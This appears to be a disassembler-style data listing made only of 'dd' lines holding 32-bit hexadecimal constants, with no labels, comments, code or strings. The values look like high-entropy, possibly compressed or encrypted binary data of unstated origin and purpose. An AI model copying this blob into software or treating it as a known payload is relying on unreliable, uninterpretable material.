		dd 0F2A194h, 842C23D4h,	92882760h, 657B3802h, 0E18FDDDCh
		dd 80CDAE8Ch, 1A76E8C7h, 0FD8500DAh, 27B0CA94h,	0DD1D10B6h
		dd 1C44B8E0h, 0BE299Ah,	8AA090AFh, 0FD006264h, 0A76BD2D1h
		dd 11454B7h, 422603E6h,	0D85D1AACh, 0F2033902h,	0C6DCC0B8h
		dd 2F48D071h, 78F4CEh, 0B083D9E9h, 0FD63F03Dh, 2D573803h
		dd 162BB9Fh, 768C108h, 0E83B92A8h, 0C800C9F7h, 0BFE46B5Fh
		dd 714EF26h, 2FFECA8Ah,	0C50B53C1h, 0C60082CAh,	70E86CD1h
		dd 75300F57h, 93C00887h, 0C253B604h, 0C9BD2B00h, 3C17DCA5h
		dd 0FAB800F1h, 0B90ABABCh, 0FE0011BBh, 0E5865D33h, 0AECA42h
		dd 73E2322Ah, 9A534829h, 0DB858D00h, 0DCC14B3Bh, 877B28E0h
		dd 5ABC0040h, 115D0513h, 0D8F5C1EDh, 0EE00B3ABh, 68B76B1Ch
		dd 143A582h, 0F26FD406h, 702ECA62h, 6A70CED0h, 3D323600h
		dd 727B069Dh, 9E842E04h, 804D1C7Ah, 0D21074Bh, 0C30064B9h
		dd 0A46ED437h, 7704B58Fh, 0D87E032Fh, 3CEEFF72h, 0B7C77690h
		dd 8AD9A603h, 88C3F6ABh, 1C938DD2h, 827A239Bh, 99A95395h
		dd 7EB4D481h, 723300BDh, 0AE4D0144h, 90D1528Ch,	0F365DCC2h
		dd 0EB039800h, 9214AD3h, 0A6A50005h, 389DCF43h,	5B00D0E9h
		dd 92DD128Eh, 14B5087Eh, 0B86D5244h, 58A3D805h,	3D8400A8h
		dd 0BEC93EBDh, 545C1E01h, 68F5712Dh, 0D3B12884h, 3551C066h
		dd 0ED24F4DDh, 0C00040DBh, 71E3A788h, 77017ECBh, 0D5190304h
		dd 14EC8F13h, 0A9CC3AD8h, 0E14C0300h, 0F8BF20CFh, 0FF40028h
		dd 429E1926h, 9AF2F585h
		dd 4E77F300h, 57B11B23h, 24CF00F0h, 0E538F815h,	6E00CA2Ah
		dd 170788E1h, 1099178h,	677BD6C6h, 0E0760534h, 4416E24Ah
		dd 3D034D58h, 0A0F630AFh, 0DA0A7Fh, 0AE9C03D3h,	150AD17h
		dd 18637707h, 21EC308Ch, 9CE0FCAh, 700003F4h, 0B6357542h
		dd 0B0E78400h, 5A9980FDh, 0B3F900EBh, 0A3EF617Ch, 7E009B4Eh
		dd 0E4FE41A5h, 0B8FF1680h, 0DD03392Fh, 0E2B3ACh, 3C2DE90Bh
		dd 0F607330Dh, 38680167h, 5F00E8EAh, 0FC92058Ch, 35471755h
		dd 7AED00D7h, 7578314Ch, 0EB51D500h, 0E507E116h, 1FA93C7Eh
		dd 6FD2D482h, 0C4487C42h, 6407BDB8h, 61B6A4D3h,	4AD6830Fh
		dd 0E2A800F6h, 0D5596B2Dh, 0BC7B8A68h, 0F0AF800h, 6309AEE3h
		dd 7DCA001Eh, 5EE5837Bh, 91008FBBh, 0C2CE3299h,	3894A0EDh
		dd 1705E3E2h, 1E10D39h,	5B0CFBF8h, 0AD5FC83Bh, 768F7D03h
		dd 9C6EC263h, 0E3DAA890h, 1893383Fh, 0B6220B8Fh, 806E4884h
		dd 0B7A0E024h, 83919801h, 67285E03h, 57D1880h, 23DE6D6h
		dd 717E68C0h, 3B4CF222h, 96806FABh, 21765548h, 0D4E1FC8Ah
		dd 8600CB07h, 2C095690h, 0DE53C5h, 0F5E4399Dh, 0DFA96B7h
		dd 0F8429CA1h, 6312D849h, 4C00D4E2h, 0D7271EF3h, 4835016Bh
		dd 190B79B5h, 0C0488051h, 6566CAECh, 4080E1CDh,	1B299D2Ah
		dd 0C8006CAAh, 0C5E84658h, 1486D72h, 3298ED1Eh,	0D40C62B6h
		dd 0C60097EFh, 43DADBACh, 30BC21Ch, 9F339966h, 0A4D0837Ch
		dd 48ECC845h, 94F6E326h, 18D94A80h, 168EAEh, 320B4131h
		dd 6C8690D8h, 0BC8C9E00h, 78805429h, 98CB00DDh,	1508C07Eh
		dd 0CD000318h, 3447FF95h, 3D85FDh, 4320BB40h, 5AA0EF73h
		dd 7B2D6903h, 0E0842B4Bh, 7DD5195h, 3B6F8374h, 23495268h
		dd 2C1C8460h, 9E1D1800h, 0C131CE95h, 9C6F0EBDh,	8AE0D9E4h
		dd 9812D717h, 0C6E53Bh,	4886385Eh, 0F2E44A2Ch, 147613D4h
		dd 0A9D100B2h, 0BBC9C37Ah, 944BC400h, 9979EE84h, 0F29014h
		dd 42D5CB8Ch, 9CBDA519h, 233D650Fh, 3B8B0041h, 0FADED31h
		dd 0FD0FDDDh, 0A2D2C867h, 7240FE59h, 54006179h,	7C11B3D9h
		dd 0C772Ah, 9708E2D7h, 4FDCEBE4h, 6BC945Fh, 478B2700h
		dd 468C384Eh, 0E1C38701h, 0DF3E834Ah, 0C358AFCh, 0C4517CE2h
		dd 0D90C3019h, 8208045h, 0BCE0AEh, 0E295970Ch, 0C6EA251Ch
		dd 0A65E8C66h, 3AF870h,	0E296D0D9h, 0F1316C5Fh,	915038E8h
		dd 0F0006110h, 2CA41E94h, 0E8CC69FCh, 0EB0503B0h, 0B4689717h
		dd 0CE01107Bh, 0A3CF93E3h, 0B6C08EF6h, 765207F4h, 0CF895FBBh
		dd 349C5560h, 9460CC62h, 0C50A0890h, 74FC0163h,	0D3E8AE9Fh
		dd 9ABDE0C3h, 51C2810Fh, 65DA200Fh, 14C53A35h, 4CAA176Eh
		dd 74F45900h, 0DFB5BC4h, 630C5150h, 61C0DB7Fh, 65C53216h
		dd 0D47B002Fh, 0EDCB5B8Fh, 840079E8h, 16221EDFh, 799B91Dh
		dd 370967EAh, 0A9D9900Dh, 17381CDAh, 70190008h,	0BC34710Ah
		dd 917A006Ch, 0E0D0B1BBh, 3F00D88Fh, 0B2D96658h, 0F712BEh
		dd 20059D30h, 0B8CB5BDh, 357D4E00h, 0E2459E53h,	7A9F001Fh
		dd 3B5E1307h, 87163708h, 7D01F5CDh, 0BB429373h,	9060B70h
		dd 291AFBC3h, 56D4E380h, 0F60071F9h, 0B4CC7EEEh, 79DC40E2h
		dd 22C7004Ch, 35822D1Dh, 5CE62E0Ah, 72E66F00h, 0D1E3FD68h
		dd 0EB843121h, 802F7108h, 72F5CA20h, 1878C3C4h,	197C369Eh
		dd 0D1DCB5Eh, 0EF2CB322h, 0B4E28603h, 2E1D89DCh, 6DC8344Bh
		dd 288EAC0h, 710B009Fh,	39A20EEFh, 227A2D4Bh, 5828256Ch
		dd 0E2048C9Eh, 3FD6C72h, 0C6207B62h, 39C72E1h, 44E4AC47h
		dd 18072CA5h, 0D2162E0Fh, 18604D56h, 1932B87Eh,	2F0013B5h
		dd 77B45888h, 7350C88Ah, 4ED38E8h, 0B350C01h, 80FC70F0h
		dd 3875B510h, 90AC0E9Bh, 117607E5h, 0D0D71413h,	0EA885DCCh
		dd 0D4D65604h, 7F80ECA7h, 8FB2E0h, 1F23BC25h, 3B6C0CC2h
		dd 37861A00h, 50CC67FCh, 0FA69002Ch, 31C5B241h,	9100A71Bh
		dd 33DB03D6h, 0ACF1A3h,	6028E985h, 0FA649D67h, 1CFB6A00h
		dd 20F39B0h, 46FF18DBh,	277528F4h, 88F98F88h, 0C38B345Ch
		dd 15128AAh, 0FD802214h, 95114842h, 2D22ADh, 7A1E9AF2h
		dd 49663122h, 0F0D3EA00h, 0C7E099B3h, 4A6B0061h, 0F7C3210Fh
		dd 4C1F5408h, 0D2C05026h, 84CBE3B9h, 0E53300D3h, 2AF25940h
		dd 4A00A097h, 6A18A8E8h, 0AEB5DEh, 0F74413F5h, 4DAA0D7Eh
		dd 3C92EF02h, 0E3B394C5h, 6D190195h, 3A1F39CFh,	0C126C46Bh
		dd 0DABF3700h, 0F43BFB02h, 1E52FED9h, 0FA76341Ch, 0E7749280h
		dd 6FEA8F28h, 2CCEEE0Eh, 0E157E07Eh, 0B82D1682h, 0EBCF003Dh
		dd 15BDB473h, 0F0015CFFh, 0D5674831h, 3160651Ah, 669C0024h
		dd 0FF5D1857h, 0F9006A83h, 0A63FBF7Fh, 16C823Bh, 14FEC186h
		dd 83EEC677h, 7EC78708h, 362F98DDh, 15F094h, 0CBF1B345h
		dd 683D8E50h, 35377D14h, 0C2EA7CF8h, 0B4EE3E00h, 0C1F17B04h
		dd 577E7Eh, 9BABBD52h, 773F90D7h, 59E0D501h, 0F16F4C22h
		dd 7A14B1D0h, 0A63E0358h, 9685C46Eh, 3727C7D0h,	6800B3FAh
		dd 356DCFD5h, 2F71AE0Eh, 0FEDE4336h, 0AC49C80Ah, 0C083E18Fh
		dd 0F68B6793h, 38C50B8Ch, 9F80D352h, 50290864h,	3C0F680Fh
		dd 35316093h, 0DF90A2h,	5DBAC865h, 4B8E6CB3h, 0D857F500h
		dd 0FADE4160h, 0B50305CEh, 1FC894C7h, 0F0A2C1CCh, 0E02D8DB6h
		dd 7B00542Ah, 0B2C1DE20h, 0F093922Ch, 82A902A1h, 2E3AF027h
		dd 6D42B480h, 773B4B37h, 0B01F0F3h, 8CC363ACh, 0BDFC3026h
		dd 850500F2h, 2BCB48AFh, 6100F541h, 98804438h, 121102h
		dd 4A6682D1h, 52734C5Ah, 0A7DE9300h, 0C329C07Dh, 6EB007Bh
		dd 23453C68h, 0D503ECCh, 0EE380E9Ch, 0A5BE1F95h, 4107BC00h
		dd 153773h, 0D8DE8324h,	5FA68BD4h, 0BA447D03h, 0F8CDA8A1h
		dd 119376Eh, 6F4F1F55h,	0D08BEB63h, 0C624B3AEh,	64007C93h
		dd 0AAB572E7h, 0C9CB00EFh, 0F59FF188h, 0FB003066h, 5712A7E1h
		dd 0F703DF29h, 7422FE8h, 694712Ch, 40019CBh, 66403AADh
		dd 0BF47F200h, 0B2E5E8D2h, 0B47A002Eh, 71CE1096h, 4338866Bh
		dd 0FA198792h, 0F310738Ch, 0DB4F11h, 589D8D5Bh,	8B351886h
		dd 7D51D401h, 3D561A0h,	0E323AC83h, 9D888F6Fh, 9C00B82Ch
		dd 42AF2A70h, 38BDC891h, 580163Eh, 0D6E8B6F6h, 0DE0187CDh
		dd 883546B2h, 0E0D3E5BEh, 0E8593A0h, 0E633A6FCh, 0CA0B8FA0h
		dd 0D800AD20h, 1A789BC4h, 47BD5Eh, 0D12FB446h, 7F1C35DDh
		dd 0FE001B72h, 93614B29h, 0B4AD17h, 0A8C0CA32h,	37686FF6h
		dd 0EC8CF00h, 0AA16B107h, 0F0750EDFh, 9000F167h, 9348548Dh
		dd 0C886F300h, 340C0FAEh, 8CFA99h, 33A5DC9Fh, 0B494476Bh
		dd 17073E01h, 0BE484E0Ch, 4C68C4h, 0EA6E439Dh, 0B3696B3Ch
		dd 0F600E4F8h, 56CBD55Bh, 96838Fh, 0C4A60DC8h, 11D8BCE7h
		dd 956F1A00h, 0AE9A57DFh, 9F7500E5h, 8E0A3B43h,	0C724B9D8h
		dd 920EF8A4h, 0DDF940A1h, 145BE4h, 0A009882Ah, 0DBDC73B5h
		dd 64038B00h, 0A1EA42EDh, 0C3E101B3h, 386D7069h, 6402276h
		dd 27A28FC8h, 0AD07B91h, 515F1787h, 2D740ED4h, 9F33E520h
		dd 1000958Dh, 8EDC037Ah, 0FBFC396h, 0C15402DDh,	61FB42C0h
		dd 0C00032FFh, 152C2423h, 0F6943B51h, 97A40013h, 844F4BC7h
		dd 4A004C9Fh, 41FF19Dh,	9631A08h, 0C20DB140h, 0D58C9000h
		dd 3B00A4AEh, 1FA1F34h,	942771h, 3966DAFCh, 14BF80B6h
		dd 0E6D74A00h, 3A9998A6h, 94343D2Bh, 0F42D9C00h, 91593D4Dh
		dd 0AACADA00h, 0F78DBC8Fh
		dd 73170021h, 0D284F4ABh, 98005DE3h, 0F2E80342h, 9AC0DD78h
		dd 387D40A4h, 0CD24D47Eh, 0CF159072h, 0D148B0h,	29814617h
		dd 8AA1ABh, 8E10DDBEh, 999E5F8h, 8800D499h, 4CB6C554h
		dd 1B3E07B3h, 80A8F5E1h, 4572F7EAh, 96FB8905h, 1480C426h
		dd 266E0503h, 1D9CC7FEh, 32818570h, 0AA200D8h, 912DB1AAh
		dd 63009278h, 0D7DFCADBh, 7664994Dh, 9B473AF6h,	6D8E4109h
		dd 20F0E487h, 4DB4E49Dh, 0AA00217Ch, 551D37D8h,	108879Ch
		dd 0A20D2931h, 8097E62Dh, 731ABE98h, 90041075h,	9C70C10Ch
		dd 0A474F42Bh, 92007421h, 3C24B9F7h, 3D2A905Ah,	0AA80613Fh
		dd 41299FB6h, 0CE120602h, 75007662h, 28D49D39h,	0FC86E8E6h
		dd 9A190036h, 3AEBCCA4h, 0F80078A2h, 2A1E7922h,	0FA30DFh
		dd 41ED181Fh, 0B2B4D6A6h, 2DD25A00h, 42F6D053h,	0ACE40083h
		dd 0A2799B89h, 9CA169A1h, 6C324Bh, 0DDCB0C70h, 0FE8B4Dh
		dd 0CA20B6DEh, 9A823EEBh, 32C8391Dh, 0D327C681h, 6C60AC5Dh
		dd 83EEF9h, 0BB5FE00Eh,	3D0DA92Ch, 655CDA00h, 9268B424h
		dd 74DE000Ah, 69101B37h, 539A4F9h, 8E6100F7h, 52E1D09Dh
		dd 67620054h, 0D5580134h, 893D3A37h, 9DBF0038h,	64272230h
		dd 11A00365h, 0F394D392h, 0A6D58Fh, 7F12A4B1h, 0F90034AEh
		dd 0B5D0CE8Ch, 12FD5580h, 130C4CFFh, 1FF1BC00h,	288004DAh
		dd 16F46A09h, 86C43D9Eh, 0A4C86000h, 271D5403h,	0BF9FDA00h
		dd 3A25A2AAh, 0CE750A24h, 3DB7C2Dh, 0EDCBFA8Ch,	629F5C98h
		dd 127CF17Fh, 0E8154100h, 53353090h, 0DB7805ECh, 803A9AA4h
		dd 3FBA9264h, 68026DFh,	90F30B28h, 7EB97013h, 6F8C03E7h
		dd 0D7E38824h, 4005F4F9h, 997239C7h, 0A46B8201h, 6007C8B3h
		dd 168A92E8h, 977F37h, 3D0AF864h, 11012C23h, 0CF817310h
		dd 71C45434h, 821B00E1h, 0C819CC46h, 38759F90h,	0AA0C081Fh
		dd 33413C3h, 2F26A048h,	136748A4h, 27DDC3Bh, 0FDF96C5Eh
		dd 88685F29h, 0E900DFBAh, 3EE1AFB7h, 58FE2AD9h,	70E4CAEh
		dd 0FD409190h, 0EEF1E043h, 54CB7200h, 3FA8F311h, 28FB604Fh
		dd 0A59FD3ACh, 406A6D17h, 0B6EA2001h, 20F53848h, 51C8E0h
		dd 7CBCED0Dh, 4CCA8682h, 2ABE4E00h, 0AF843235h,	66CC12B6h
		dd 33C049Bh, 7A5C8045h,	0DE09F727h, 926B0193h, 8F308000h
		dd 26D80609h, 3C8CD12Ah, 2E8EAD80h, 1EE9BB3Eh, 0E6247B74h
		dd 843878C5h, 0C74C4EFh, 916860C0h, 0D66002Fh, 0A879F028h
		dd 10B54F4h, 0A3C5B58Bh, 0E06CC7E4h, 0C14ED2Dh,	0AD72C2D6h
		dd 38054598h, 81A4270Dh, 66ED0F80h, 257E007Ah, 0B629057Bh
		dd 0D10FADE1h, 5DF9C035h, 969AB540h, 8B86F4h, 570C7E74h
		dd 7C5EBC47h, 9909F900h, 269F5689h, 4CE554D2h, 0D3CD4155h
		dd 0CA38DAE0h, 92A54D00h, 0F6B539FCh, 3327014Ah, 0A79ADF8Fh
		dd 6CF370CCh, 9C19541Eh, 1BE2AC0h, 5160FDh, 10A921E6h
		dd 62D5173Dh, 0DC39FA00h, 221404E5h, 977800B8h,	0F2DAD33Ch
		dd 1800C496h, 0B4F6B3BEh, 0F9B8C38h, 49A161E0h,	4B217A80h
		dd 1F7D5F2Eh, 3B132900h, 0F9C2A4B8h, 0A09300D3h, 63112D65h
		dd 6D03B20Ah, 0E1F11964h, 5DD581F2h, 0A7DBEC40h, 50FA7058h
		dd 0CFDCD2h, 2EA89113h,	0C489994h, 64BB2C00h, 1CAA0D7Fh
		dd 9EB90046h, 6EE8CBD3h, 38B07986h, 0DA778B00h,	207A9852h
		dd 410A001Eh, 33ADAA43h, 5EB85034h, 0E974B6E2h,	1FD9F500h
		dd 1EC490FCh, 0DDA507FDh, 5E6BC21Dh, 0E7B49C40h, 8A070F56h
		dd 555F4109h, 0D2B5D900h, 0D4F71EE0h, 7D154016h, 0CB37C8F8h
		dd 0B748F600h, 67B52639h, 0FA443A8Dh, 7DFDBA80h, 78EA2165h
		dd 26206D3Ah, 6300A16Eh, 3B752772h, 0C80200E2h,	12BEBC4Ch
		dd 67905F95h, 0EEE97B16h, 0ED472B00h, 79AEAD1Eh, 0E27304CCh
		dd 81760B58h, 0D85BB008h, 0ED003EDCh, 2A056830h, 2EA5893h
		dd 0A52E1F52h, 136008DEh, 0A100C95Ch, 6D3D35F3h, 0F014701Dh
		dd 98E50CD0h, 7DBA3F25h, 0C8F6F400h, 1D770CE7h,	0CA461C01h
		dd 86A30034h, 89BFE62Bh, 9126A500h, 20D993D4h, 0E99602D7h
		dd 498C3F15h, 33F31040h, 1903DA30h, 0D1D204h, 0D5950F22h
		dd 9160433Ah, 0C7540E18h, 9FFDF0h, 85C3E6FBh, 9A7E786Dh
		dd 2ACD071Dh, 46137D43h, 0A828C0D7h, 5B060039h,	0A29F0A1Dh
		dd 0F2268548h, 8400ABE9h, 1365DE19h, 8CAE0301h,	67463CA3h
		dd 0C707F780h, 0D10CEE00h, 1060D852h, 13740063h, 56A4FDEFh
		dd 0AB00C8C0h, 0E81B5D76h, 0E626860h, 418DB228h, 0D14429C0h
		dd 83AC3FCh, 243D8091h,	73DAFF8Bh, 4B7B16h, 22A91FB2h
		dd 894CA701h, 8D370E04h, 0E8A051E1h, 0AEB501BCh, 4FCD16F1h
		dd 62E6F472h, 0D19D6100h, 12E3331Bh, 0DEC00034h, 0FA57AB47h
		dd 553F43B2h, 0B6F38059h, 0A82CC77Ah, 2BDB006Dh, 0D79296EEh
		dd 5E1C2634h, 300B3677h, 0BA6082D5h, 4038602Ah,	64819F2h
		dd 20FB648Fh, 5B0031A0h, 0B52FB967h, 39CD90h, 6B2C24DBh
		dd 4528D46h, 19EE8101h,	31835AF6h, 0D62ECh, 74BC903Bh
		dd 1231DE8h, 0E3503E00h, 0B2AE3129h, 66193FFCh,	13F0042Ch
		dd 5CEB0010h, 1F0DB8Ch,	0CD0E9896h, 0AC00DD92h,	9431DD2Ch
		dd 267E71h, 0C24FC856h,	673D76AAh, 0FFFA2A2Eh, 16029000h
		dd 6EA4F3h, 0AEDD4AC6h,	825641F7h, 23ED0E00h, 1A507062h
		dd 0A83D008Ah, 0B874CDA5h, 0E890FFBCh, 0E1577906h, 720899Dh
		dd 0B769C7D5h, 4439B018h, 8B000FCBh, 0CC5F321Bh, 30F004h
		dd 2CF48384h, 4E4D7577h, 0A54B9200h, 74FA0C98h,	1DCB7CE0h
		dd 8F7B3E50h, 0F7607169h, 1E7790FEh, 6FBA3Fh, 17E4F50Ah
		dd 1EC8DDEAh, 7DDAE9h, 44405195h, 8C07AA38h, 0EA6250A2h
		dd 0F82571B3h, 3C1036h,	2CB7750Bh, 445DA10Dh, 39F92100h
		dd 0E5E25AE6h, 0D57D0045h, 41BA1DAAh, 2D01B96Fh, 0E800FADh
		dd 0EFD1CAD7h, 0A568C0DAh, 0A7A6006Eh, 59DEE5F8h, 0C6005F0Dh
		dd 9001AA36h, 9802C4Dh,	0B7E3ECCDh, 0B19EE860h,	9D7A9906h
		dd 0C831D4h, 22D32EF7h,	13DCBCA6h, 74008E75h, 854C418Bh
		dd 1C0C40h, 0C08738BDh,	6DA4D282h, 95D9DA16h, 42E00000h
		dd 732C6135h, 0E3809C8h, 0B303A223h, 0C4F81997h, 0CAF207EBh
		dd 0B4AEDF00h, 0F2F8F74Ch, 7A13006Fh, 0EAFA182Fh, 9500E57Ch
		dd 51557061h, 71237Eh, 0D6EC3E8Dh, 0C16F8F21h, 0BCE4A20Eh
		dd 6233C0A0h, 0B8E154h,	0DD63977Dh, 0EB165A23h,	0D653F900h
		dd 746BF4CBh, 153200BEh, 82C2F808h, 0A3145E57h,	0ACAB1Fh
		dd 87315A55h, 0BA67Eh, 0C2B09E1Ch, 0B96DCAB6h, 12DA4B00h
		dd 0BD3A0EA9h, 6B360317h, 0DD3732B0h, 86B69003h, 0C7BBBF49h
		dd 2E9660A0h, 1B733079h, 4ADD311h, 3C83C700h, 295F9E81h
		dd 0B48F00DCh, 3EC0C59Fh, 0E50D235h, 0AD50ABC0h, 58004CFCh
		dd 0E1CCDEB3h, 3F78B1ACh, 790165C6h, 0FAB564C5h, 0A47CD072h
		dd 0CE9B8800h, 0EF87523Ch, 25B70040h, 95E12CF7h, 0DF0039E6h
		dd 0F9E4DBE5h, 4A319Fh,	82E0E740h, 599AD347h, 639D6200h
		dd 0C7C811FEh, 37F800CFh, 6494F2BBh, 89000626h,	8131A5E9h
		dd 0D4A2B2h, 0DEDA0B45h, 568F05A4h, 0EC26B900h,	6B544775h
		dd 0C0DFE0BDh, 359EF7E8h, 2203C437h, 36C88AE6h,	19F69826h
		dd 4ECCEF1Fh, 0B24C001Eh, 4366DEAAh, 2100EBB6h,	6CF592B1h
		dd 5D6F289h, 0F9EE8C25h, 72D40E9Eh, 0C03E060Fh,	1AA79FF3h
		dd 0DD7984A8h, 6E20C201h, 86581241h, 7E0CF1DFh,	8DB460h
		dd 7ACE5248h, 2B958329h
		dd 4977A300h, 6AF5EEBh,	5B3A0B17h, 7B00B32Eh, 59D6A4F2h
		dd 0F07CFD01h, 0D071E3ABh, 90D41420h, 9912488h,	10CB80F4h
		dd 5A8F35B3h, 0F32DE307h, 0A0309422h, 0DD3680h,	8137F5F4h
		dd 12111D46h, 88E0870Fh, 0E02C94Bh, 0D8C006Ch, 97EE629h
		dd 8E876A1Ah, 4E1D0001h, 8DF85CAEh, 4BE58B00h, 90A33120h
		dd 77F50071h, 0DBC644D2h, 360092FEh, 166986C5h,	3968D3Fh
		dd 4F80FA8Ch, 0FE805E76h, 9198758Fh, 436DF000h,	0A61DAD37h
		dd 0E6DF03FBh, 46257969h, 0DE96CFE8h, 67FF7300h, 820F0572h
		dd 21663CF1h, 0DC9200FFh, 81F28BBDh, 2202F467h,	9B76F6B5h
		dd 13D0802Ah, 0FDEF970h, 0FE9CD6F0h, 0BC5C66BEh, 3821AB00h
		dd 0B15B0F47h, 89002CFCh, 0BC5EB0B9h, 0AE641Ah,	0CBE69214h
		dd 3E44A231h, 365D6900h, 0AC4DA6B3h, 17D80779h,	0F1971D9Bh
		dd 4010E953h, 0D63E92DCh, 0C27CB106h, 13526618h, 40E52164h
		dd 0F4FC2634h, 0CD00752Bh, 3799DD14h, 0E26B24h,	0CE80D11Dh
		dd 82DC10E6h, 2935C701h, 223BA595h, 37B5D0h, 99A9455Ch
		dd 44DC97D0h, 98AD3Ah, 0B47DFFAEh, 1C7E7946h, 80774092h
		dd 318A6173h, 0EA0959FCh, 88B63Ah, 9BE0A6ABh, 7573B1h
		dd 895842CCh, 0C323A597h, 0C5A789Fh, 9C04D7C4h,	0A8001EE8h
		dd 3DE23B68h, 0E45E91Dh, 0D28A82CBh, 5917B1E3h,	81CE6EC8h
		dd 8754DD3Dh, 570E237h,	0CCC43404h, 15CBD3C0h, 0C3A8072Bh
		dd 0C2C50731h, 707C10F0h, 5E1F3202h, 7012C0ABh,	63AE02D4h
		dd 2A131A7Dh, 792D4068h, 300BC800h, 0CD99C240h,	57D81CFCh
		dd 0EDBACBECh, 0F0B97000h, 0B600DEADh, 72E80EF9h, 311E2F5h
		dd 12E1FC75h, 0DDF774h,	0DE67CB0Ch, 8C0DBE7h, 0FEEC0A8Dh
		dd 6BB5269Fh, 0C6F280C0h, 0C7697132h, 4B08A900h, 0F4D5B690h
		dd 9980F9DEh, 526BCDB8h, 53310E2Ah, 4D070868h, 1F6F409Eh
		dd 0E4200702h, 0AC89B085h, 58000362h, 0ECEECA26h, 6D12C5h
		dd 1832C771h, 49809622h, 50004572h, 987008B4h, 14C26h
		dd 6885BB59h, 75EB5430h, 0EC0A1270h, 58B29F0Bh,	0E41C0BEh
		dd 7BB95AC7h, 0B13B6781h, 0C89180A7h, 0AABC11C5h, 76D60098h
		dd 0BBA0A577h, 25008B37h, 954C537Fh, 66C9F7h, 0F2A670A8h
		dd 13D28FB9h, 9465B000h, 1462FE98h, 232E00EBh, 4997FADFh
		dd 0D400C2D8h, 4C01026Ah, 940B04h, 5E5864CBh, 32AE0F39h
		dd 15DE9501h, 0A6D3D2FBh, 79401602h, 0CF0088F8h, 0ED44711Bh
		dd 0F07F49h, 9F147C1Ch,	2752D46Eh, 0E2F10500h, 9D307E84h
		dd 66F30079h, 98AFE793h, 5D02A051h, 2A920A57h, 0D2C04009h
		dd 509559FFh, 9F6A1BC0h, 817DE838h, 0F8852300h,	3C56C963h
		dd 31B016h, 3BB8796Eh, 17D48DC3h, 24CC1548h, 0A80D0DAh
		dd 72450D93h, 0F1FECAh,	2B8481F8h, 0C16E71A2h, 0C29DD101h
		dd 0BE61D2F0h, 3ADA0DF4h, 9381FCD3h, 46D06A0Ch,	0BFA6E8C4h
		dd 0CCFA792Ch, 53C0B21Dh, 0D3D4D6AAh, 9DC300B3h, 0E84B213Eh
		dd 3D00562Dh, 0D88DF8A8h, 33FEE2BFh, 8020B442h,	17393000h
		dd 0FC2E7605h, 1348924Bh, 37CB03Dh, 1763A6C7h, 0C79FD800h
		dd 0A12EA41Ch, 11E40057h, 0B335D35Bh, 1624731Fh, 0B080206Ah
		dd 0D699F1FBh, 51623D4Fh, 788D7F01h, 28E7E2CDh,	3D3E001Ch
		dd 3A909A5Bh, 0D808C742h, 7EA20B1h, 3800418Eh, 0A1342696h
		dd 4A255Ah, 77B19749h, 642F8C3h, 6C3D6003h, 0F7F51E41h
		dd 0CACDA00Fh, 4057F6h,	7EBBCB29h, 8F3095ACh, 1D0B890Ah
		dd 0A11C94BCh, 0B03E23AEh, 0E8FB08A9h, 908906A6h, 0E815DD7Ah
		dd 5A579400h, 27B9D75Dh, 21C40004h, 0E7093CD8h,	25383F45h
		dd 5FF78528h, 5C87E26Fh, 7168CC61h, 0C19060E6h,	0A8C050BCh
		dd 923B449Fh, 380A430Fh, 41F500C8h, 185BB457h, 89B029BFh
		dd 82307A11h, 4F0A50E8h, 76B083h, 263E6E9Ch, 8ECA632Dh
		dd 620777B8h, 0FA273AFh, 60CFFC30h, 0F574D7h, 0BAF7D59Ah
		dd 9947AFBDh, 0D9CC41E9h, 0EEEFE864h, 0E0FD4F30h, 1F4217C6h
		dd 40FCE611h, 2197DF7Eh, 0D333422h, 4046B172h, 739499h
		dd 0F0DF96BCh, 9EAEE720h, 0A8E1B630h, 197511Eh,	0A4BC741Bh
		dd 0F6B8C364h, 0FC3ED490h, 0F2E65205h, 0FC40D1DFh, 0D788F789h
		dd 0E827001Bh, 37612D3Dh, 34010BDEh, 2F399DDFh,	3434A004h
		dd 0D9EC00BFh, 60F2F4BDh, 8C255631h, 43483AEh, 0EBF00033h
		dd 0D928B4BCh, 0DD0074A5h, 0DECC42F3h, 60FB5503h, 4566790Fh
		dd 0B3009223h, 1DF9B177h, 3C86C2h, 5D82C727h, 0E5C65AE6h
		dd 50DA102h, 0E0A6882Ch, 740BFF2Ch, 0DED000D7h,	2F8EF8D5h
		dd 0BFF0EE61h, 38F59300h, 8DE2C1B3h, 7C0817DCh,	4E2800AAh
		dd 37DEB6B4h, 3B2C6005h, 0DC0046CDh, 95F47519h,	9B343971h
		dd 0F6D70A80h, 54404397h, 4A0FD400h, 1FA1FCF0h,	813A0242h
		dd 0FBE95536h, 0A92588E0h, 8EDEBA00h, 8DE1BFACh, 8A0C00D5h
		dd 0C3FD333Dh, 8F0721A6h, 0D9607FCBh, 0F731DEF0h, 846E00DDh
		dd 5D353E5Fh, 0F0A0BB23h, 0BA00E6D6h, 0F1A7E050h, 0E80B3CB6h
		dd 90495CE1h, 7F13DD00h, 7C80D24Dh, 7BD14E00h, 6206BCCDh
		dd 0B9EE1365h, 3EAC01F2h, 240EF55Eh, 0E807D1FCh, 3757908Bh
		dd 0EA1E8890h, 229029h,	0EC7B554Ah, 0F6C61B02h,	0CB0336E8h
		dd 22446ACAh, 4CA19010h, 209501E2h, 1C716007h, 33108E52h
		dd 6E4DC00Ah, 1F563h, 590CDD25h, 80D0BB62h, 0A3064B77h
		dd 7BE16DCh, 70C10118h,	0F00F3D90h, 0C80F3118h,	0B03D1BF4h
		dd 87CD8CC4h, 14FD286Ah, 0FB28BBEFh, 809F9500h,	0F4B3EC1Bh
		dd 0C1690A1h, 61FC40E1h, 0D6F89D7Ah, 1A89102h, 7FA95EECh
		dd 5A89CC80h, 0A6021B15h, 0FDB968ABh, 0FAB0E892h, 36D70037h
		dd 0DB4E5A23h, 0C60144C9h, 0D69601F8h, 0EADC2FCAh, 2E600A8h
		dd 117ABC25h, 1200BB82h, 0E0BEB8DAh, 3DEBF8h, 874558C2h
		dd 3E32B579h, 80E7570Bh, 7B8D0070h, 0EE365D04h,	1066672Dh
		dd 0B8F39054h, 0D700E83Ah, 53714228h, 0F03DF248h, 93ED02C8h
		dd 44E90485h, 19B9FF40h, 7C3FDD00h, 5A9C7B12h, 53577F10h
		dd 5807844Bh, 4F0B3D4Fh, 4084C0FEh, 0D6C3A49Fh,	0BC17458h
		dd 30A322Ah, 0B8FFBA9Ch, 26848EDh, 0B73BF5B4h, 6540658Ch
		dd 0B00CE9Dh, 301D1889h, 0DAEB53h, 4778414Eh, 0A8631503h
		dd 0EAB348h, 89AA2FE5h,	0EC4EB57h, 0F133DEFAh, 277264E1h
